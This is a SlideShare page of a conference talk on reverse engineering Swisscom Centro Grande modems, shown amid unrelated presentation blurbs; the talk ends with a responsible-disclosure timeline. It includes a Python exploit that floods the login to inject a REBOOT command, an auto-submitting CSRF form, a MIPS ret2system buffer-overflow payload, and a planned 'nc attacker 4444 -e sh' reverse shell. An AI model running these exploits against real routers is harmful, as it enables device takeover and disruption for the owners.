SlideShare a Scribd company logo
Reverse engineering Swisscom’sReverse engineering Swisscom’s
Centro Grande modemsCentro Grande modems
Alain Mowat & Thomas ImbertAlain Mowat & Thomas Imbert
2whoami
› Alain Mowat (@plopz0r)
› Head of Audit division at SCRT
› Pentest
› Code review
› Trainings
› Mostly a Web App guy
› Member of 0daysober CTF team
› Watch other people exploiting cool vulns
3Background
› Why look into the Swisscom modems?
› Why this talk?
› I don’t actually own a Swisscom modem
› Made it a bit harder to study...
4Attack Surface
› ADB# show netstat
tcp 0 0 192.168.1.1:50602 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:9034 0.0.0.0:* LISTEN
tcp 11 0 192.168.1.1:8080 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:22 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:23 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:7547 0.0.0.0:* LISTEN
udp 0 0 0.0.0.0:9090 0.0.0.0:*
udp 0 0 127.0.0.1:15000 0.0.0.0:*
udp 0 0 0.0.0.0:53 0.0.0.0:*
udp 0 0 0.0.0.0:323 0.0.0.0:*
udp 0 0 0.0.0.0:67 0.0.0.0:*
udp 0 0 0.0.0.0:68 0.0.0.0:*
udp 0 0 178.199.180.148:5060 0.0.0.0:*
udp 0 0 192.168.1.1:5351 0.0.0.0:*
udp 0 0 0.0.0.0:1900 0.0.0.0:*
udp 0 0 192.168.1.1:47863 0.0.0.0:*
udp 0 0 0.0.0.0:123 0.0.0.0:*
udp 0 0 ff02::1:2:547 :::*
udp 0 0 :::53 :::*
udp 0 0 :::323 :::*
udp 0 0 :::123 :::*
raw 0 0 0.0.0.0:2 0.0.0.0:* 2
raw 0 0 0.0.0.0:6 0.0.0.0:* 6
raw 0 0 :::58 :::*

Recommended for you

PostgreSQL Administration for System Administrators
PostgreSQL Administration for System AdministratorsPostgreSQL Administration for System Administrators
PostgreSQL Administration for System Administrators

Spencer Christensen There are many aspects to managing an RDBMS. Some of these are handled by an experienced DBA, but there are a good many things that any sys admin should be able to take care of if they know what to look for. This presentation will cover basics of managing Postgres, including creating database clusters, overview of configuration, and logging. We will also look at tools to help monitor Postgres and keep an eye on what is going on. Some of the tools we will review are: * pgtop * pg_top * pgfouine * check_postgres.pl. Check_postgres.pl is a great tool that can plug into your Nagios or Cacti monitoring systems, giving you even better visibility into your databases.

pgeast 2010postgresqlwwwpostgresqlconferenceorg
from Binary to Binary: How Qemu Works
from Binary to Binary: How Qemu Worksfrom Binary to Binary: How Qemu Works
from Binary to Binary: How Qemu Works

This document discusses how Qemu works to translate guest binaries to run on the host machine. It first generates an intermediate representation called TCG-IR from the guest binary code. It then translates the TCG-IR into native host machine code. To achieve high performance, it chains translated blocks together by patching jump targets. Key techniques include just-in-time compilation, translation block finding, block chaining, and helper functions to emulate unsupported guest instructions.

qemucoscupbinary
OSMC 2021 | pg_stat_monitor: A cool extension for better database (PostgreSQL...
OSMC 2021 | pg_stat_monitor: A cool extension for better database (PostgreSQL...OSMC 2021 | pg_stat_monitor: A cool extension for better database (PostgreSQL...
OSMC 2021 | pg_stat_monitor: A cool extension for better database (PostgreSQL...

The pg_stat_monitor is the statistics collection tool based on PostgreSQL’s contrib module pg_stat_statements. PostgreSQL’s pg_stat_statements provides only basic statistics, which is sometimes not enough. The major shortcoming in pg_stat_statements is that it accumulates all the queries and statistics, but does not provide aggregated statistics or histogram information. In this case, a user needs to calculate the aggregate, which is quite expensive. Pg_stat_monitor provides the pre-calculated aggregates. pg_stat_monitor collects and aggregates data on a bucket basis. The size and number of buckets should be configured using GUC (Grand Unified Configuration). The buckets are used to collect the statistics and aggregate them in a bucket. The talk will cover the usage of pg_stat_monitor and how it is better than pg_stat_statements.

osmcopen sourcemonitoring
5Attack Surface
› ADB# show processes
256 0 2040 S logd
259 0 1308 S klogd -c3
271 0 832 S ec
343 0 3236 S cm
350 0 0 SW [dsl0]
363 0 0 SW [bcmsw]
364 0 0 SW [bcmsw_timer]
365 0 0 SW< [linkwatch]
5889 0 1132 S dropbear -P /tmp/dropbear-local.pid -l 20 -p 192.168
6227 0 1312 S telnetd Local -u 20 -b 192.168.1.1:23 -I 300
6898 65534 2292 S nhttpd -c /tmp/nhttpd.conf
7362 0 1000 S dhcps /tmp/dhcps.conf
7910 0 764 S dns
8014 0 1088 S miniupnpd -i ptm0 -a 192.168.1.1 -N -I 4
8026 0 736 S /bin/wpspbc
8223 0 2676 S /usr/sbin/hostapd -B /tmp/wlan/config/hostapd.conf
9164 0 1664 S /bin/sh /etc/rc.common /etc/rc.d/S11services.sh boot
9177 0 2940 S cwmp
9204 0 1316 S /bin/sh /etc/ah/printk_dump.sh
9353 0 884 S ec
9553 0 1312 S /bin/sh /etc/ah/procSentinel.sh cm 300
11846 0 1332 S /bin/sh DHCPv4Client.sh
11848 0 1320 S udhcpc -S -R -f -W rgH7sqo?h@5Y -t 500000 -T 4 -o -C
14753 0 792 S igmpproxy -c /tmp/igmpproxy.conf -p /tmp/igmpproxy.p
15287 0 3576 S voip
15688 0 740 S tproxyd 80 8080 1 192.168.1.1 /ui/swc/parentalcontro
15923 0 1056 S N chronyd -f /tmp/chrony.conf
16770 0 820 S radvd
16812 0 2036 S dibbler-server start
6Finding the firmware
› Locate the firmware
› https://www.swisscom.ch/en/residential/help/device/internet-router/centro-
grande.html
› Vx226x1_61400.sig
› Version at the time
› 6.14.00
7Extracting the firmware
› Binwalk (https://github.com/devttys0/binwalk)
› Firmware modification kit
› ./extract-firmware.sh
8CPE WAN Management Protocol
› Also known as TR-069
› Protocol that defines how to manage « Customer-premises Equipment »
› cwmp binary
› Listens to 0.0.0.0:7547
› iptables rule allows access only from certain Swisscom subnets

Recommended for you

LISA2019 Linux Systems Performance
LISA2019 Linux Systems PerformanceLISA2019 Linux Systems Performance
LISA2019 Linux Systems Performance

Talk by Brendan Gregg for USENIX LISA 2019: Linux Systems Performance. Abstract: " Systems performance is an effective discipline for performance analysis and tuning, and can help you find performance wins for your applications and the kernel. However, most of us are not performance or kernel engineers, and have limited time to study this topic. This talk summarizes the topic for everyone, touring six important areas of Linux systems performance: observability tools, methodologies, benchmarking, profiling, tracing, and tuning. Included are recipes for Linux performance analysis and tuning (using vmstat, mpstat, iostat, etc), overviews of complex areas including profiling (perf_events) and tracing (Ftrace, bcc/BPF, and bpftrace/BPF), and much advice about what is and isn't important to learn. This talk is aimed at everyone: developers, operations, sysadmins, etc, and in any environment running Linux, bare metal or the cloud."

linuxperformanceperformance tuning
TRex Realistic Traffic Generator - Stateless support
TRex  Realistic Traffic Generator  - Stateless support TRex  Realistic Traffic Generator  - Stateless support
TRex Realistic Traffic Generator - Stateless support

New Stateless support in TRex provides: - High performance packet generation of up to 22 million packets per second per core and support for interfaces from 1Gbps to 100Gbps. - Flexible traffic profiles that can generate multiple streams of traffic with programmable fields using a field engine. - Statistics on a per port, per stream, and per traffic profile basis including latency and jitter. - Python API and interactive console for automation and control.

trextraffic generatordpdk
High Availability PostgreSQL with Zalando Patroni
High Availability PostgreSQL with Zalando PatroniHigh Availability PostgreSQL with Zalando Patroni
High Availability PostgreSQL with Zalando Patroni

There are many ways to run high availability with PostgreSQL. Here, we present a template for you to create your own customized, high-availability solution using Python and for maximum accessibility, a distributed configuration store like ZooKeeper or etcd.

zalando techdatabase engineeringpostgresql
9Web interface
› Web server is nhttpd (http://www.nazgul.ch/dev_nostromo.html)
› If a binary file is accessed through the web interface, it executes it
› Directory traversal → Code Exec in version 1.9.3
10Web interface
› Mostly managed by a CGI called ui
11Emulating the device
› OpenWRT (https://openwrt.org/)
› Linux distribution for embedded devices
› Qemu (http://wiki.qemu.org/Main_Page)
› Machine emulator and virtualizer
12Configuring OpenWRT
› make menuconfig
› MIPS target
› Add all debugging and networking tools
› Cross-compile nhttpd
› Generate ramdisk
› Copy Swisscom firmware files to the image
› Run image with qemu
› qemu-system-mips -kernel openwrt-malta-be-vmlinux-ini-
tramfs.elf -net tap -net nic -nographic -m 2048

Recommended for you

Qemu device prototyping
Qemu device prototypingQemu device prototyping
Qemu device prototyping

The document discusses QEMU and adding a new device to it. It begins with an introduction to QEMU and its uses. It then discusses setting up a development environment, compiling QEMU, and examples of existing devices. The main part explains how to add a new "Devix" device by creating source files, registering the device type, initializing PCI configuration, and registering memory regions. It demonstrates basic functionality like interrupts and I/O access callbacks. The goal is to introduce developing new emulated devices for QEMU.

qemuvirtualizationhw
eBPF/XDP
eBPF/XDP eBPF/XDP
eBPF/XDP

Netronome's half-day tutorial on host data plane acceleration at ACM SIGCOMM 2018 introduced attendees to models for host data plane acceleration and provided an in-depth understanding of SmartNIC deployment models at hyperscale cloud vendors and telecom service providers. Presenter Bios Jakub Kicinski is a long term Linux kernel contributor, who has been leading the kernel team at Netronome for the last two years. Jakub’s major contributions include the creation of BPF hardware offload mechanisms in the kernel and bpftool user space utility, as well as work on the Linux kernel side of OVS offload. David Beckett is a Software Engineer at Netronome with a strong technical background of computer networks including academic research with DDoS. David has expertise in the areas of Linux architecture and computer programming. David has a Masters Degree in Electrical, Electronic Engineering at Queen’s University Belfast and continues as a PhD student studying Emerging Application Layer DDoS threats.

ebpfxdpsmartnics
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytesWindows Kernel Exploitation : This Time Font hunt you down in 4 bytes
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes

The document discusses exploiting TrueType font (TTF) vulnerabilities to achieve kernel code execution on Windows systems. It begins by describing the discovery of exploitable bugs in a TTF fuzzer. Despite mitigations like KASLR, NX, SMAP, and CFG, the researchers were able to bypass these protections through techniques like controlled overflows, abusing plain kernel structures, and function-driven attacks. They show how to leverage wild overflows, control kernel memory layout, and hijack control flow to achieve arbitrary code execution. The document emphasizes that OS design weaknesses allow bypassing modern defenses through clever bug chaining and memory manipulation.

ttf recon keen k33nteam kernel exploitaiton mitiga
13Setting up the image
› nhttpd server
serverroot /www
serveradmin webmaster@adbglobal.com
servermimes conf/mimes
docroot /www/htdocs
docindex lanhosts
logpid /tmp/logs
user nobody
disablehttp 0
notfound 501
sslport 443
sslcert /etc/certs/server.crt
sslcertkey /etc/certs/server.key
sslcertca /etc/certs/ca.pem
sslcertreq *
serverlisten 0.0.0.0
servername localhost
14Web interface
15YAPL ?
16Web request overview
nhttpd
swc_login.yapl
swc_common.yapl
swc_firewall.yapl
...
ui
cm
POST /ui/swc/login Environment
setup
Configuration command
Get corresponding YAPL « script »

Recommended for you

Xen Project Contributor Training Part2 : Processes and Conventions v1.1
Xen Project Contributor Training Part2 : Processes and Conventions v1.1Xen Project Contributor Training Part2 : Processes and Conventions v1.1
Xen Project Contributor Training Part2 : Processes and Conventions v1.1

The document outlines the governance principles and processes of the Xen Project open source hypervisor community. It discusses principles of openness, transparency and meritocracy. It describes roles like maintainers, committers and project leads. It covers topics like decision making, design reviews, release processes, earning status, and resolving conflicts.

contributorsxen projecttraining
BPF Internals (eBPF)
BPF Internals (eBPF)BPF Internals (eBPF)
BPF Internals (eBPF)

USENIX LISA2021 talk by Brendan Gregg (https://www.youtube.com/watch?v=_5Z2AU7QTH4). This talk is a deep dive that describes how BPF (eBPF) works internally on Linux, and dissects some modern performance observability tools. Details covered include the kernel BPF implementation: the verifier, JIT compilation, and the BPF execution environment; the BPF instruction set; different event sources; and how BPF is used by user space, using bpftrace programs as an example. This includes showing how bpftrace is compiled to LLVM IR and then BPF bytecode, and how per-event data and aggregated map data are fetched from the kernel.

bpfebpflinux
Load Balancing and Scaling with NGINX
Load Balancing and Scaling with NGINXLoad Balancing and Scaling with NGINX
Load Balancing and Scaling with NGINX

When one server just isn’t enough, how can you scale out? In this webinar, you'll learn how to build out the capacity of your website. You'll see a variety of scalability approaches and some of the advanced capabilities of NGINX Plus. View full webinar on demand at http://nginx.com/resources/webinars/nginx-load-balancing-software/

nginxload balancingwebserver
17Configuration manager
› Used to view and modify the device’s configuration
› Bound to localhost:9034
› Also /tmp/cmctl socket
› Several possible commands
› GETO, GETV, …
› SET, SETM, …
› RESET, REBOOT, ...
› DUMP, EXPORT, ...
18Mandatory IDA graph
19Configuration manager
› Main loop
listen on localhost port 9034
socket = accept
while 1:
input = socket.recv(16384)
handleRequest(input)
def handleRequest(input):
type = validateRequestType(input)
params = validateRequestParams(input)
callTypeHandler(params)
20Configuration Manager

Recommended for you

NGINX: Basics and Best Practices
NGINX: Basics and Best PracticesNGINX: Basics and Best Practices
NGINX: Basics and Best Practices

On-demand recording: nginx.com/resources/webinars/nginx-basics-best-practices You’ve heard of NGINX and the benefits it can provide to your web application, but maybe you’re not sure how to get started. There are a lot of tutorials online, but they can be outdated and contradict each other, making things more challenging. In this webinar we’ll cover the basics of NGINX to help you effectively begin using it as part of your existing or new web app. This webinar covers how to: * Install NGINX and verify it's properly running * Create NGINX configurations for reverse proxy, load balancer, etc. * Improve performance using keepalives and other NGINX directives * Debug and troubleshoot using NGINX logs

nginxsoftware load balancingcaching
import rdma: zero-copy networking with RDMA and Python
import rdma: zero-copy networking with RDMA and Pythonimport rdma: zero-copy networking with RDMA and Python
import rdma: zero-copy networking with RDMA and Python

The document discusses using RDMA (Remote Direct Memory Access) for high performance networking in Python. It describes how traditional sockets involve multiple memory copies that reduce performance. RDMA allows data to be directly placed in the receiving application's memory without intermediate copies. The document outlines an implementation of RDMA sockets in Python, called RdmaSocket, that exposes an interface similar to regular sockets but uses RDMA under the hood. Examples are given showing how it can simplify high performance networking applications in Python.

rdssocketsinfiniband
Xen in Safety-Critical Systems - Critical Summit 2022
Xen in Safety-Critical Systems - Critical Summit 2022Xen in Safety-Critical Systems - Critical Summit 2022
Xen in Safety-Critical Systems - Critical Summit 2022

Xen Project is a static partitioning hypervisor for embedded deployments (industrial, medical, etc.) Xen enforces strong isolation between domains so that one cannot affect the execution of another. Features such as cache coloring reduce interference and improve interrupt latency and determinism. A real-time workload can run alongside a more complex guest. But can it be used in safety-critical environments? The Xen hypervisor has a microkernel design: services and tools are non-essential and run in unprivileged VMs, while the core is less than 50K LOC. This architecture lends itself well to safety-critical applications as only the core is critical and needs to go through the certification process. This presentation will describe the activities of the Xen FuSa SIG (Special Interest Group) to make Xen easier to safety-certify. It will go through the aspects of Xen that pertain safety and it will explain how to set up a mixed-criticality system with Xen. The talk will discuss the challenges of making an Open Source project safety-certifiable and the progress that the Xen community made so far in the areas of documentation and requirements, MISRA-C code compliance, and interference reduction.

xensafetysafety-certifications
21Finalizing the image setup
udhcpc -i br-lan
cm
touch /tmp/cmctl
chmod 777 /tmp/cmctl
nhttpd -c /www/nhttpd.cfg
nc localhost 9034
DOM Device /etc/cm/tr181/dom/
DOM InternetGatewayDevice /etc/cm/tr098/dom/
CONF /etc/cm/conf/
ADD InternetGatewayDevice.WANDevice
ADD InternetGatewayDevice.WANDevice.1.WANConnectionDevice
ADD InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANIPConnection
SET Device.IP.Interface.1.IPv4Address.1.X_ADB_TR098Reference
InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANIPConnection.1
SET Device.ManagementServer.X_ADB_ConnectionRequestInterface Device.IP.Interface.1
SET Device.IP.Interface.1.Status Up
SET Device.Ethernet.Link.1.Name br-lan
SET Device.DeviceInfo.SerialNumber 123456
SET Device.IP.Interface.1.X_ADB_Upstream true
SET Device.IP.Interface.1.X_ADB_TR098Reference
InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANIPConnection.1
22Running image
23Configuration manager
› Special syntax
› Similar to SQL in certain ways
› SELECT =~ GETV
› UPDATE =~ SET
› Conditions
› GETO A.B.C.[Test=1]
› GETO A.B.C.[Test~1]
› GETO A.B.C.[Test!1]
24Vulnerability #1 : Command overflow
› Each call to recv is treated as a new command
› By sending more than 16384 characters, we can craft a new configuration
command
› Logging in to the web interface generates a call to the configuration
manager that looks like this
› GETO Users.User.[Username=ATTACKER_CONTROLLED]
› By providing a long username, we can exceed the 16348 limit and gene-
rate a new request within the configuration manager
› Allows complete control over the device
› Change passwords
› Allow remote access
› ...

Recommended for you

How does PostgreSQL work with disks: a DBA's checklist in detail. PGConf.US 2015
How does PostgreSQL work with disks: a DBA's checklist in detail. PGConf.US 2015How does PostgreSQL work with disks: a DBA's checklist in detail. PGConf.US 2015
How does PostgreSQL work with disks: a DBA's checklist in detail. PGConf.US 2015

This document discusses how PostgreSQL works with disks and provides recommendations for disk subsystem monitoring, hardware selection, and configuration tuning to optimize performance. It explains that PostgreSQL relies on disk I/O for reading pages, writing the write-ahead log (WAL), and checkpointing. It recommends monitoring disk utilization, IOPS, latency, and I/O wait. The document also provides tips for choosing hardware like SSDs or RAID configurations and configuring the operating system, file systems, and PostgreSQL to improve performance.

postgresql
PostgreSQL - Haute disponibilité avec Patroni
PostgreSQL - Haute disponibilité avec PatroniPostgreSQL - Haute disponibilité avec Patroni
PostgreSQL - Haute disponibilité avec Patroni

Présentation de l'outil Patroni : gestion de la haute disponibilité de PostgreSQL Meetup PostgreSQL Nantes / mars 2019

postgresqlpatroni
Introduction to HTML5+CSS
Introduction to HTML5+CSSIntroduction to HTML5+CSS
Introduction to HTML5+CSS

This document provides an introduction to HTML5 and CSS. It begins by asking why someone needs to learn HTML5 and CSS, then defines HTML as the language used to write websites and help computers communicate. It explains that HTML defines the content of a web page while CSS defines the style. It provides the basic structure of an HTML page, including the <head>, <body>, and <html> tags. It also gives examples of common tags like <p>, <img>, and <a> and notes that some tags close themselves while others require an ending tag. The document concludes by providing some online resources for learning more about HTML.

designhtmlteaching
25Vulnerability #1 : Command overflow
ui cm
GETO Users.User.[Username=A
AAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA
[…]
AAAAAAAAAAAAAAAAAAAAAAAAAAA
REBOOTn
recv(16384)
recv(16384)
send
process(‘GETO Users……’)
process(‘REBOOT’)
26Exploit #1 : Command overflow
from requests import post
payload = dict()
payload['userName'] = ( 16358 ) * 'a' + 'REBOOT' + 'n'
payload['userPwd'] = 'a'
payload['login'] = 'Login'
payload['language'] = ''
while 1:
r = post('http://192.168.1.1/ui/swc/login/index', data=payload)
D
EM
O
27Vulnerability #2 : Login CSRF
› Use CSRF to exploit someone else’s device
<html>
<body>
<form method="POST" action="http://192.168.1.1/ui/swc/login/index">
<input type="hidden" name="userName" value="aaaaaaaaaa[...]aaaREBOOT%0a"/>
<input type="hidden" name="userPwd" value="a"/>
<input type="hidden" name="login" value="login"/>
<input type="hidden" name="language" value=""/>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
28Exposed web interfaces – Centro Business

Recommended for you

The Mall of the World
The Mall of the WorldThe Mall of the World
The Mall of the World

Dubai is set to become home to the first temperature-controlled city on the planet. The ambitious project is expected to feature a mall, an indoor family theme park, and a "network of temperature-controlled openable promenades" — all billed as "the world's largest.

BAFC233
BAFC233BAFC233
BAFC233

The document provides information about an upcoming conference on project finance for energy and infrastructure projects in East Africa. The two-day conference will be held on July 22-23, 2015 in Dar es Salaam, Tanzania and will bring together policymakers, private sector representatives, and investors. It will include sessions on financing projects and risk assessment, driving energy development, and power and transportation infrastructure such as roads, rail, and pipelines. High-level speakers will discuss opportunities and challenges for project financing in the region.

Three tier application
Three tier applicationThree tier application
Three tier application

This document describes a three-tier architecture for a user registration and login system using Java servlets. It includes code for servlets to insert and retrieve user data from a MySQL database, as well as HTML pages for the user interface. The servlets handle communication between the database and user interface tiers. The document provides instructions for setting up the database connection, compiling the Java code, configuring the web application deployment descriptor, and testing the application.

29Vulnerability #3 : Buffer overflow(s)
› Buffer overflow when parsing the name of XML files when performing
certain commands (CONF, DOM, …)
› Requirements
› Arbitrarily-named XML file on the device
› file and folder are both limited to 4096 in size
parseFilesinFolder(folder):
char path[4096];
files = scandir(folder)
for file in files:
if file ends with ".xml":
strncat(path,folder,4096)
strncat(path,file,4096)
parseFile(filename)
30Exploit #3 : Creating the XML file
› The PATHSAVE command takes 2 arguments
› An XML filename
› Property that needs to be saved
› PATHSAVE /tmp/test.xml Users.User.1.Password
› Can use this to write an arbitrarily-named file on the device
› Exploit can then be triggered by prepending folder with lots of /
› CONF /////////////////////////////////////[…]/tmp/exploit.xml
31Exploit #3 : Exploiting a MIPS binary
Prologue
Epilogue
32Exploit #3 : Exploiting a MIPS binary
› No ASLR on the device
› No NX
› No canaries
› A version of nc with the -e switch is present on the device
› Try to call system(‘nc attacker 4444 -e sh’)
› Arguments are not passed on the stack though, but in registers
› $a0
› $a1
› …

Recommended for you

весь-журнал
весь-журналвесь-журнал
весь-журнал
3 d pie chart circular puzzle with hole in center process 12 stages style 2 p...
3 d pie chart circular puzzle with hole in center process 12 stages style 2 p...3 d pie chart circular puzzle with hole in center process 12 stages style 2 p...
3 d pie chart circular puzzle with hole in center process 12 stages style 2 p...

The document describes a 12-stage 3D circular puzzle process. Each stage includes text blocks arranged in a circular formation. The stages showcase how to create an engaging circular slide to explain complex processes in a clear, visual manner.

Charcoal drawing portfolio 2013
Charcoal drawing portfolio 2013Charcoal drawing portfolio 2013
Charcoal drawing portfolio 2013

Sharlena Wood is an artist known for her expertise in charcoal and mixed media drawing. She has a passion for sharing her artistic knowledge and enthusiasm. As a self-taught artist, Sharlena encourages others to trust their creative intuition. Her cheerful attitude inspires exploration and building confidence in one's creative talents.

charcoaldrawingartist
33Exploit #3 : ret2system
› Quick analysis gives address of system in libUclibc (Centro business) :
› Libuclibc base : 0x2aaf8000
› System is at offset : 0x54610
› Real address : 0x2ab4c610
› Need a gadget in order to get our argument to system in $a0
› Make $a0 point to address in the stack
› $s0 is also under our control
34Exploit #3 : ret2system
/tmp/aaaaaaaaaaaaaaaax2axb4xc6x10bbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbx2axb1xcaxacaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaareboot;
#bbbb.xml
$ra → gadget
$s0 → system
command
64 * ‘a’ (addiu $a0,$sp,64)
35Exploit #3 : Full exploit D
EM
O
36Disclosure timeline
› 9 September 2015 : Initial disclosure to Swisscom
› 10 September 2015 : Vulnerabilities acknowledged by Swisscom
› 11 September 2015 : Vendor notified (ADB)
› 18 September 2015 : Confirmation of vulns & quick fix available
› 24 September 2015 : Test of quick fix
› 29 September 2015 : Contact with ADB
› October 2015 : Rollout of quick fix to all devices
› January 2016 : Status full fix :
› Centro grande : 100 %
› Centro Business 1.0 : 50 %
› Centro Business 2.0 : 100 %
› 13 June 2016 : Disclure

Recommended for you

October Newsletter
October NewsletterOctober Newsletter
October Newsletter

This document provides an overview of the upcoming week's lessons for a kindergarten classroom at Crossroads Charter Academy in Big Rapids, MI. The lessons will focus on sight words, phonics including the letter Aa sound, reading comprehension skills, sketching and story writing in writing, pattern recognition in math, and learning about past and present in science/social studies. The student teacher will now be teaching full days until November 27th. There is also information about volunteering opportunities and an upcoming Harvest Party and other events. Homework involves practicing rhyming words and identifying first sounds in words using a ten frame activity sheet.

Adobe Q1 2016 Quarterly Earnings
Adobe Q1 2016 Quarterly EarningsAdobe Q1 2016 Quarterly Earnings
Adobe Q1 2016 Quarterly Earnings

Adobe reports record Q1 FY2016 revenue. This earnings infographic features key performance from Adobe’s Q1 FY2016 results.

financial reportingbusinessearnings
Aimopp For Presentation
Aimopp For PresentationAimopp For Presentation
Aimopp For Presentation

This document provides information about AIM Global Inc., a company that produces food supplements and herbal products. It details the company's board of directors, manufacturing partners, product lines that include nutraceuticals and coffee/chocolate infused with supplements, clinical research supporting products, compensation plan for distributors, and goals for distributors. The document promotes AIM Global's products and business opportunities.

37Swisscom bounty
› Combination of flaws rewarded with 3’000 CHF
› Donated to the Ligue Vaudoise contre le Cancer
› Swisscom Bug Bounty program is up & running
› Talk is tomorrow afternoon :)
38Conclusions
› Attackers
› Look into other processes on the modem
› miniupnp
› voip
› Embedded devices are found everywhere nowadays
› Huge attack surface
› Less people reversing firmwares than searching for XSS
› Defenders
› Consider 0days in your penetration tests
› Test your defense in depth
› Test your ability to detect breaches

More Related Content

What's hot

Tracing MariaDB server with bpftrace - MariaDB Server Fest 2021
Tracing MariaDB server with bpftrace - MariaDB Server Fest 2021Tracing MariaDB server with bpftrace - MariaDB Server Fest 2021
Tracing MariaDB server with bpftrace - MariaDB Server Fest 2021
Valeriy Kravchuk
 
NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NSC #2 - D2 02 - Benjamin Delpy - MimikatzNSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NoSuchCon
 
Highly efficient backups with percona xtrabackup
Highly efficient backups with percona xtrabackupHighly efficient backups with percona xtrabackup
Highly efficient backups with percona xtrabackup
Nilnandan Joshi
 
PostgreSQL Administration for System Administrators
PostgreSQL Administration for System AdministratorsPostgreSQL Administration for System Administrators
PostgreSQL Administration for System Administrators
Command Prompt., Inc
 
from Binary to Binary: How Qemu Works
from Binary to Binary: How Qemu Worksfrom Binary to Binary: How Qemu Works
from Binary to Binary: How Qemu Works
Zhen Wei
 
OSMC 2021 | pg_stat_monitor: A cool extension for better database (PostgreSQL...
OSMC 2021 | pg_stat_monitor: A cool extension for better database (PostgreSQL...OSMC 2021 | pg_stat_monitor: A cool extension for better database (PostgreSQL...
OSMC 2021 | pg_stat_monitor: A cool extension for better database (PostgreSQL...
NETWAYS
 
LISA2019 Linux Systems Performance
LISA2019 Linux Systems PerformanceLISA2019 Linux Systems Performance
LISA2019 Linux Systems Performance
Brendan Gregg
 
TRex Realistic Traffic Generator - Stateless support
TRex  Realistic Traffic Generator  - Stateless support TRex  Realistic Traffic Generator  - Stateless support
TRex Realistic Traffic Generator - Stateless support
Hanoch Haim
 
High Availability PostgreSQL with Zalando Patroni
High Availability PostgreSQL with Zalando PatroniHigh Availability PostgreSQL with Zalando Patroni
High Availability PostgreSQL with Zalando Patroni
Zalando Technology
 
Qemu device prototyping
Qemu device prototypingQemu device prototyping
Qemu device prototyping
Yan Vugenfirer
 
eBPF/XDP
eBPF/XDP eBPF/XDP
eBPF/XDP
Netronome
 
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytesWindows Kernel Exploitation : This Time Font hunt you down in 4 bytes
Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes
Peter Hlavaty
 
Xen Project Contributor Training Part2 : Processes and Conventions v1.1
Xen Project Contributor Training Part2 : Processes and Conventions v1.1Xen Project Contributor Training Part2 : Processes and Conventions v1.1
Xen Project Contributor Training Part2 : Processes and Conventions v1.1
The Linux Foundation
 
BPF Internals (eBPF)
BPF Internals (eBPF)BPF Internals (eBPF)
BPF Internals (eBPF)
Brendan Gregg
 
Load Balancing and Scaling with NGINX
Load Balancing and Scaling with NGINXLoad Balancing and Scaling with NGINX
Load Balancing and Scaling with NGINX
NGINX, Inc.
 
NGINX: Basics and Best Practices
NGINX: Basics and Best PracticesNGINX: Basics and Best Practices
NGINX: Basics and Best Practices
NGINX, Inc.
 
import rdma: zero-copy networking with RDMA and Python
import rdma: zero-copy networking with RDMA and Pythonimport rdma: zero-copy networking with RDMA and Python
import rdma: zero-copy networking with RDMA and Python
groveronline
 
Xen in Safety-Critical Systems - Critical Summit 2022
Xen in Safety-Critical Systems - Critical Summit 2022Xen in Safety-Critical Systems - Critical Summit 2022
Xen in Safety-Critical Systems - Critical Summit 2022
Stefano Stabellini
 
How does PostgreSQL work with disks: a DBA's checklist in detail. PGConf.US 2015
How does PostgreSQL work with disks: a DBA's checklist in detail. PGConf.US 2015How does PostgreSQL work with disks: a DBA's checklist in detail. PGConf.US 2015
How does PostgreSQL work with disks: a DBA's checklist in detail. PGConf.US 2015
PostgreSQL-Consulting
 
PostgreSQL - Haute disponibilité avec Patroni
PostgreSQL - Haute disponibilité avec PatroniPostgreSQL - Haute disponibilité avec Patroni
PostgreSQL - Haute disponibilité avec Patroni
slardiere
 

What's hot (20)

Tracing MariaDB server with bpftrace - MariaDB Server Fest 2021
Tracing MariaDB server with bpftrace - MariaDB Server Fest 2021Tracing MariaDB server with bpftrace - MariaDB Server Fest 2021
Tracing MariaDB server with bpftrace - MariaDB Server Fest 2021
 
NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NSC #2 - D2 02 - Benjamin Delpy - MimikatzNSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
 
Highly efficient backups with percona xtrabackup
Highly efficient backups with percona xtrabackupHighly efficient backups with percona xtrabackup
Highly efficient backups with percona xtrabackup
 
PostgreSQL Administration for System Administrators
PostgreSQL Administration for System AdministratorsPostgreSQL Administration for System Administrators
PostgreSQL Administration for System Administrators
 
from Binary to Binary: How Qemu Works
from Binary to Binary: How Qemu Worksfrom Binary to Binary: How Qemu Works
from Binary to Binary: How Qemu Works
 
OSMC 2021 | pg_stat_monitor: A cool extension for better database (PostgreSQL...
OSMC 2021 | pg_stat_monitor: A cool extension for better database (PostgreSQL...OSMC 2021 | pg_stat_monitor: A cool extension for better database (PostgreSQL...
OSMC 2021 | pg_stat_monitor: A cool extension for better database (PostgreSQL...
 
LISA2019 Linux Systems Performance
LISA2019 Linux Systems PerformanceLISA2019 Linux Systems Performance
LISA2019 Linux Systems Performance
 
TRex Realistic Traffic Generator - Stateless support
TRex  Realistic Traffic Generator  - Stateless support TRex  Realistic Traffic Generator  - Stateless support
TRex Realistic Traffic Generator - Stateless support
 
High Availability PostgreSQL with Zalando Patroni
